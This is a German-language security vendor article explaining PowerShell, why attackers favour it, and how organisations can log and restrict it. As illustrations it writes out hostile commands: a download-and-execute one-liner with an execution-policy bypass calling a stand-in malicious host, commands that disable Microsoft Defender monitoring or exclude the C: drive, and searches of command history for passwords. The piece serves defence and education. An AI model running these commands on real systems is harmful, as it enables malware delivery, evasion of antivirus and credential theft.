Windows PowerShell ist eine leistungsstarke Skriptsprache und Befehlszeilenshell zur Automatisierung von Aufgaben und Verwaltung von Konfigurationen. In diesem Leitfaden werden die Funktionen und Möglichkeiten von PowerShell erläutert, einschließlich seiner Rolle bei der Systemadministration und -sicherheit.
Erfahren Sie mehr über gängige PowerShell-Befehle, bewährte Verfahren für Skripte und die Nutzung von PowerShell für Cybersicherheitszwecke. Das Verständnis von PowerShell ist für IT-Fachleute und Sicherheitsexperten unerlässlich.
Wie kann PowerShell die wertvollen Vermögenswerte Ihres Unternehmens beeinträchtigen? Lernen Sie die Grundlagen von PowerShell kennen, warum es für Hacker attraktiv ist und wie Sie Ihr Unternehmen schützen können.
Microsoft PowerShell ist eine Befehlszeilenshell und Skriptsprache, die zur Automatisierung von Aufgaben und zur Verwaltung von Windows-basierten Systemen verwendet wird. Sie wird häufig von Administratoren und Sicherheitsexperten eingesetzt, um Routineaufgaben zu automatisieren, Systeme zu verwalten und zu überwachen sowie Reaktionen auf Sicherheitsvorfälle zu automatisieren. Angreifer nutzen PowerShell häufig, um sich unbefugten Zugriff auf Systeme zu verschaffen und bösartigen Code auszuführen.
Microsoft PowerShell ist bereits seit 2006 unter Windows verfügbar, ist aber mittlerweile die Befehlsshell für den Datei-Explorer unter Windows 10 und hat das alte Tool cmd.exe weitgehend abgelöst. Obwohl es von normalen Benutzern oft als geheimnisvoll angesehen wird, PowerShell aufgrund seiner Flexibilität und Leistungsfähigkeit für IT-Teams und Netzwerkadministratoren unverzichtbar geworden. In dieser Einführungsanleitung erklären wir Ihnen die Grundlagen von PowerShell, warum es für Hacker und Malware-Autoren attraktiv ist und was Sie tun können, um Ihr Unternehmen zu schützen.
Wählen Sie Ihre Variante
Wenn Sie "PowerShell" in das Suchfeld von Cortana eingeben, werden Ihnen mehrere Optionen angezeigt, darunter PowerShell ISE und die PowerShell-Desktop-App. Wenn Sie darüber hinaus mit der rechten Maustaste auf das Startmenü oder eines der PowerShell-Symbole in der Taskleiste klicken , sehen Sie zwei verschiedene Möglichkeiten, um eine der beiden PowerShell-Versionen zu starten: als aktueller Benutzer oder als Administrator.
Administratoren, die häufige Aufgaben automatisieren möchten, verwenden wahrscheinlich die ISE-Schnittstelle, um PowerShell-Module und -Skripte zu entwickeln. Für die interaktive Verwendung wählen die meisten jedoch die PowerShell-Desktop-App und führen sie je nach Aufgabe entweder als Administrator oder als aktueller Benutzer aus.
Vielleicht haben Sie auch schon von PowerShell Core gehört, einer plattformübergreifenden Open-Source-Edition, die nicht nur unter Windows, sondern auch unter Linux und macOS läuft:
Seien Sie jedoch vorsichtig, da es sich um eine nicht signierte Binärdatei handelt, die leicht durch eine bösartige Fälschung ersetzt werden könnte. Wenn Sie Endpunkte mit PowerShell Core verwenden, stellen Sie sicher, dass Ihre Organisation es mit einem geeigneten Zertifikat signiert oder regelmäßige SHA-Prüfungen durchführt, um sicherzustellen, dass es nicht manipuliert wurde.
Obwohl es einige Unterschiede in den Funktionen der verschiedenen PowerShell-Varianten gibt, können sie alle Remote-Sitzungen über SSH ausführen und mit einer Vielzahl von Prozessen und Diensten interagieren. PowerShell kann sogar mit der Windows-Registrierung und dem Ereignisprotokoll interagieren. All dies bedeutet, dass ein Angreifer mit Zugriff auf PowerShell denselben Zugriff und dieselben Vorteile hat.
Die Kraft entfesseln
Mit zwei einfachen Befehlen können Sie sich einen ersten Eindruck von den Funktionen von PowerShell verschaffen:
Get-Module -ListAvailable
um die verfügbaren Module aufzulisten, und
Get-Command
um die verfügbaren Befehle aufzulisten:
Schauen wir uns kurz einige Beispiele an. Angenommen, Sie (oder ein Angreifer) bewegen sich in einem Verzeichnis mit Dokumenten und möchten schnell herausfinden, ob sich darin etwas Interessantes befindet. Ein Befehl wie der folgende gibt die ersten und letzten beiden Zeilen jeder Textdatei im Verzeichnis aus, wobei rekursiv untergeordnete Verzeichnisse durchsucht und alle versteckten oder unsichtbaren Dateien einbezogen werden und die Ausgabe zur späteren Durchsicht oder zum späteren Abruf in eine andere Textdatei geleitet wird:
Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log
Wenn jemand nach Dokumenten sucht, die mit "Vertraulich" beginnen oder mit der Position des Autors wie "Finanzvorstand" enden, könnte dies eine "schnelle und einfache" Methode sein, um interessante Elemente aufzulisten.
Das Löschen eines Elements, beispielsweise um Spuren eines Eindringens zu beseitigen, ist ganz einfach
Remove-Item <Pfad>
PowerShell ermöglicht es Benutzern auch, das Betriebssystem auf interessante und leider auch gefährliche Weise zu manipulieren. Wenn ein Malware den vorinstallierten Microsoft Defender AV-Engine umgehen möchte, kann er diese durch Ausführen eines PowerShell-Befehls mit den entsprechenden Berechtigungen deaktivieren:
Set-MpPreference -DisableRealTimeMonitoring $true
oder, etwas versteckter, ein Laufwerk oder einen Pfad aus den Suchpfaden ausschließen:
Add-MpPreference -ExclusionPath "c:"
PowerShell macht es Angreifern auch leicht, beispielsweise Ihre Netzlaufwerke aufzulisten und das Ereignisprotokoll aufzurufen, was eine nützliche Methode ist, um ausnutzbare Informationen zu finden, und zwar mit Get-PSDrive und Get-EventLog.
Ein nützliches Tool sowohl für Benutzer als auch für Angreifer ist die Möglichkeit, den Verlauf von Befehlen, einschließlich aller an sie übergebenen Argumente, die interaktiv in die Befehlszeile eingegeben wurden, zu lesen. Der Verlauf wird unter dem folgenden Pfad gespeichert, der von diesem Befehl ausgegeben wird:
(Get-PSReadLineOption).HistorySavePath
und wir können cat und das Select-String (oder dessen Alias sls) verwenden, um effektiv "grep” oder die Befehle nach interessanten Elementen (z. B. Passwörtern!) zu durchsuchen:
Skripte & Exploit-Kits
Die Arbeit mit PowerShell in der Befehlszeile ist jedoch nicht der Bereich, in dem sich die besten Möglichkeiten für böswillige Akteure bieten. Gefährlicher ist die Fähigkeit von PowerShell, Skripte sowohl im Arbeitsspeicher (auch bekannt als "fileless"-Malware-Angriffe) als auch von der Festplatte aus auszuführen. Beide können entweder direkt auf einem Host oder remote ausgeführt werden.
Ähnlich wie der Unix-Shell-Befehl eval verfügt PowerShell über Invoke-Expression (und dessen Alias iex), mit dem ein bösartiges Skript heruntergeladen und im Speicher ausgeführt werden kann. Wir können Bypass hinzufügen, um zu versuchen, eine eingeschränkte Ausführungsrichtlinie zu umgehen:
powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"
Es überrascht nicht, dass es nicht lange gedauert hat, bis ganze Exploit-Frameworks aufgetaucht sind, die das Potenzial von PowerShell voll ausschöpfen.
An erster Stelle steht dabei PowerSploit, eine Sammlung von PowerShell-Skripten, mit denen sich die Computer der Opfer manipulieren und kontrollieren lassen.
PowerShell Empire baut auf der Arbeit von PowerSploit und mehreren anderen Projekten auf, um ein Post-Exploitation-Tool zu entwickeln, das die Netzwerkerkennung umgehen, Keylogger ausführen und andere Module wie Mimikatz , um Klartext-Passwörter, Passwort-Hashes und andere Daten direkt aus dem Speicher zu extrahieren.
Der Aufstieg von PowerShell-Angriffen
Die Erstellung von PowerShell-Skripten und PowerShell-Befehlen, die von anderen Arten von Windows-Dateien aus ausgeführt werden können Dateien, .exe, .bat, .wsf und .LNK ist einer der Gründe, warum PowerShell-basierte Malware in den letzten Jahren zugenommen hat. Mit einer Schätzung , wonach PowerShell-Exploits fast 40 % aller Malware-Vorfälle ausmachen, besteht kein Zweifel daran, dass Angreifer diese Technologie in einer Vielzahl von Kampagnen einsetzen, von Ransomware bis hin zu credential theft und Banking-Trojanern. PowerShell wurde auch mit Klickbetrug, Passwort-Sniffing und Datenexfiltration in Verbindung gebracht.
DNSMessenger ist eine Malware, die in einem Word-Dokument-Makro entdeckt wurde. Sie nutzt geschickt VBA-Quellcode, um verschlüsselte PowerShell-Befehle zu übermitteln, um Persistenz zu erreichen, ihre Nutzlast zu übermitteln und mit einem C&C-Server zu kommunizieren.
Überraschenderweise benötigen einige PowerShell-Angriffe nicht einmal die integrierte PowerShell.exe. Tools wie PowerShdll und InsecurePowerShell können Skripte direkt ausführen, indem sie die System.Management.Automation.dll ausführen. Kurz gesagt, die ausführbare PowerShell-Datei ist lediglich ein Host oder Wrapper für den eigentlichen Code in der dynamischen Link-Bibliothek. Angriffe können dies ausnutzen, um im Wesentlichen jeden Prozess dazu zu bringen, PowerShell-Skripte und -Befehle auszuführen.
Andere kreative Verwendungsmöglichkeiten von PowerShell sind das Einbetten eines PowerShell-Skripts in die Pixel einer PNG-Datei und das Generieren eines Einzeilers, um es mit Invoke-PSImage oder die Konvertierung von PowerShell-Skripten in EXE-Dateien mit Tools wie PS2EXE.
PowerShell verwalten
Aus all dem geht wohl klar hervor, dass ein einfaches Blockieren der Datei "PowerShell.exe" sinnlos wäre, ganz zu schweigen von der großen Belastung für Systemadministratoren, die sich auf die Funktionen von PowerShell verlassen. Es ist wichtig zu verstehen, dass PowerShell und die zugrunde liegenden DLLs integrale Bestandteile des Windows-Betriebssystems sind und dass sich diese Leistungsfähigkeit mit der Einführung von PowerShell Core auch auf Möglichkeiten für plattformübergreifende , die für Unternehmen von entscheidender Bedeutung sein können.
Eine effektive Unternehmenslösung für den Umgang mit der dualen Natur von PowerShell ist beispielsweise SentinelOne, das das Verhalten von Prozessen untersucht, die auf dem Endpunkt ausgeführt werden. Dies ist effektiv, da sie unabhängig von der Art der Malware-Angriffe ähnlich funktionieren. Der SentinelOne-Agent überwacht alle Aktivitäten auf dem Agenten, um zwischen bösartigen und harmlosen Aktivitäten zu unterscheiden. Da der Agent bereits über den vollständigen Kontext verfügt: Benutzer, Prozesse, Befehlszeilenargumente, Registrierung, Dateien auf der Festplatte und externe Kommunikation, können bösartige Aktivitäten unabhängig von ihrer Quelle abgewehrt werden.
Gefällt Ihnen dieser Artikel? Folgen Sie uns auf LinkedIn, Twitter, YouTube oder Facebook, um die von uns geposteten Inhalte zu sehen.
Weitere Informationen zu Windows-Sicherheit
- Der Banking-Trojaner Hancitor ist zurück | Mit bösartigem Word-Anhang
- SentinelOne erkennt und blockiert neue Variante von Powershell CryptoWorm
- Neuer Windows 10-Dateityp kann zum Ausführen bösartiger Anwendungen missbraucht werden
KI-gestützte Cybersicherheit
Verbessern Sie Ihre Sicherheitslage mit Echtzeit-Erkennung, maschineller Reaktion und vollständiger Transparenz Ihrer gesamten digitalen Umgebung.
Demo anfordernWindows PowerShell FAQs
Windows PowerShell ist eine Microsoft-Befehlszeilenshell und Skriptsprache, die auf dem .NET Framework basiert. Mit ihr können Sie Cmdlets – einfache Verben-Substantiv-Befehle – verwenden, um Aufgaben wie die Verwaltung des Dateisystems, der Registrierung und der Dienste zu automatisieren.
PowerShell verarbeitet und gibt Objekte anstelle von reinem Text zurück, sodass Sie strukturierte Daten von einem Cmdlet zum nächsten weiterleiten können. Außerdem unterstützt sie Remoting, Module und die Hilfe in der Konsole für die Systemverwaltung.
Im Gegensatz zum alten CMD verwendet PowerShell Cmdlets im Verb-Substantiv-Format und arbeitet mit .NET-Objekten statt mit Textströmen. Das bedeutet, dass Sie Befehle über Pipelines verketten können, ohne Text zu parsen. PowerShell-Skripte können .NET-APIs direkt aufrufen, bieten eine umfangreichere Fehlerbehandlung und unterstützen Module.
Herkömmliche Shells verarbeiten nur einfachen Text und grundlegende Batch-Skripte, während PowerShell eine vollständige Skriptumgebung für die Automatisierung und Konfiguration bietet.
Die tiefe Systemintegration und die Skripting-Fähigkeiten von PowerShell machen es zu einem Favoriten sowohl für Administratoren als auch für Angreifer. Angreifer verwenden dateilose Techniken – das Ausführen von Skripten im Arbeitsspeicher –, um einer Erkennung zu entgehen.
PowerShell kann Abwehrmaßnahmen deaktivieren, bösartigen Code herunterladen oder Anmeldedaten stehlen, ohne die Festplatte zu berühren. Aufgrund seiner Allgegenwärtigkeit in Windows müssen Verteidiger PowerShell-Aktivitäten als hohes Risiko betrachten und sie genau auf Missbrauch überwachen.
In einer Studie von Cisco war PowerShell an über einem Drittel der kritischen Sicherheitsbedrohungen auf Endpunkten beteiligt. Carbon Black meldete PowerShell-Missbrauch in 38 Prozent der Vorfälle, häufig in Form von Post-Exploit-Aktionen wie lateraler Bewegung oder Diebstahl von Anmeldedaten.
Auch wenn die normale Nutzung gering ist, taucht PowerShell in etwa einem von vierzehn bestätigten böswilligen Vorfällen auf.
Aktivieren Sie die gesamte PowerShell-Protokollierung: Modulprotokollierung, Skriptblockprotokollierung und Transkription. Legen Sie die Protokollgröße auf mindestens 150 MB fest und erfassen Sie Ereignisse aus
Microsoft-Windows-PowerShell/Operational und PowerShellCore/Operational. Speisen Sie Protokolle in SIEM oder XDR ein. Blockieren Sie Skripte von nicht vertrauenswürdigen Eltern und beschränken Sie die Ausführungsrichtlinie auf signierte Skripte. Aktivieren Sie die geschützte Ereignisprotokollierung für zusätzliche Details.
Verwenden Sie Just Enough Administration (JEA), um den Zugriff von Benutzern auf genehmigte Cmdlets zu beschränken. Erzwingen Sie den eingeschränkten Sprachmodus, um COM, WMI und komplexe Ausdrücke zu deaktivieren. Setzen Sie Anwendungssteuerungsrichtlinien (z. B. WDAC) ein, um signierte Skripte auf die Whitelist zu setzen.
Halten Sie PowerShell auf dem neuesten Stand (Version 5.1 oder höher). Überprüfen und optimieren Sie regelmäßig die Protokollierungseinstellungen, um sicherzustellen, dass jeder Skriptaufruf aufgezeichnet wird.
Das vollständige Blockieren von PowerShell kann die Systemverwaltung und die Fernverwaltung beeinträchtigen. Microsoft rät davon ab, PowerShell vollständig zu entfernen. Beschränken Sie stattdessen die Ausführung auf autorisierte Administratoren, setzen Sie Anwendungskontrollen durch und verhindern Sie, dass PowerShell unter nicht vertrauenswürdigen übergeordneten Anwendungen wie Office-Anwendungen gestartet wird.
In Kombination mit Protokollierung und Überwachung verhindern diese Kontrollen die meisten böswilligen Anwendungen, ohne legitime Vorgänge zu beeinträchtigen.
Mit PowerShell können Verteidiger die Reaktion auf Vorfälle automatisieren, schnell forensische Daten sammeln und Bedrohungen aufspüren. Sie können Skripte schreiben, um Registrierungsartefakte, Prozesslisten und Netzwerkverbindungen in wenigen Minuten zu erfassen. Das Erlernen von PowerShell hilft auch dabei, die Techniken von Angreifern zu verstehen, da viele Post-Exploit-Tools (Empire, Cobalt Strike) unter der Haube PowerShell verwenden.
PowerShell-Skripte können Live-Speicher, Registrierungs-Ausführungsschlüssel, Ereignisprotokolle und Netzwerkdaten für die Triage erfassen. Community-Tools wie DFIR-Script automatisieren die Beweissicherung über Endpunkte hinweg. Jäger verwenden PowerShell, um Windows-Ereignis-ID 4104 nach bösartigen Skriptblöcken abzufragen, die Ausgabe zu analysieren und die Ergebnisse in SOAR-Playbooks einzuspeisen. Damit ist PowerShell ein zentraler Bestandteil von Workflows zur Erkennung, Eindämmung und Behebung von Sicherheitsvorfällen.
